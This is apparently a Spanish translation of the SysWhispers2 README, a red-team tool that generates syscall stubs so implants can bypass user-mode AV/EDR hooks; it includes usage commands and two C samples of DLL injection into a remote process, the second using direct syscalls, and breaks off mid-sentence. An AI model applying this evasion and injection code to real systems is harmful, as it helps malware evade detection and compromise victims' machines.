
Evasión de AV/EDR mediante llamadas directas al sistema.
SysWhispers ayuda con la evasión generando archivos de encabezado/ASM que los implants pueden usar para hacer llamadas directas al sistema.
Todas las llamadas al sistema principales son compatibles y hay archivos de ejemplo generados disponibles en la carpeta example-output/.
El uso es casi idéntico a SysWhispers1 pero no tienes que especificar qué versiones de Windows soportar. La mayoría de los cambios están bajo el capó. Ya no depende de las tablas de syscall de @j00ru, y en su lugar utiliza la técnica de "ordenación por dirección de llamada al sistema" popularizada por @modexpblog. Esto reduce significativamente el tamaño de los stubs de syscall.
La implementación específica en SysWhispers2 es una variación del código de @modexpblog. Una diferencia es que los hashes de nombres de funciones se aleatorizan en cada generación. @ElephantSe4l, quien publicó esta técnica antes, tiene otra implementación basada en C++17 que también vale la pena revisar.
El repositorio original de SysWhispers sigue en pie pero podría quedar obsoleto en el futuro.
Varios productos de seguridad colocan hooks en funciones de API en modo usuario que les permiten redirigir el flujo de ejecución a sus motores y detectar comportamientos sospechosos. Las funciones en ntdll.dll que realizan las llamadas al sistema consisten en solo unas pocas instrucciones de ensamblador, por lo que reimplementarlas en tu propio implant puede evitar la activación de esos hooks de productos de seguridad. Esta técnica fue popularizada por @Cn33liz y su publicación en blog tiene más detalles técnicos que vale la pena leer.
SysWhispers proporciona a los red teamers la capacidad de generar pares de encabezado/ASM para cualquier llamada al sistema en la imagen del núcleo del kernel (ntoskrnl.exe). Los encabezados también incluirán las definiciones de tipos necesarias.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Export just the common functions (see below for list).
py .\syswhispers.py --preset common -o syscalls_common
# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Usar el interruptor --preset common creará un par de encabezado/ASM con las siguientes funciones: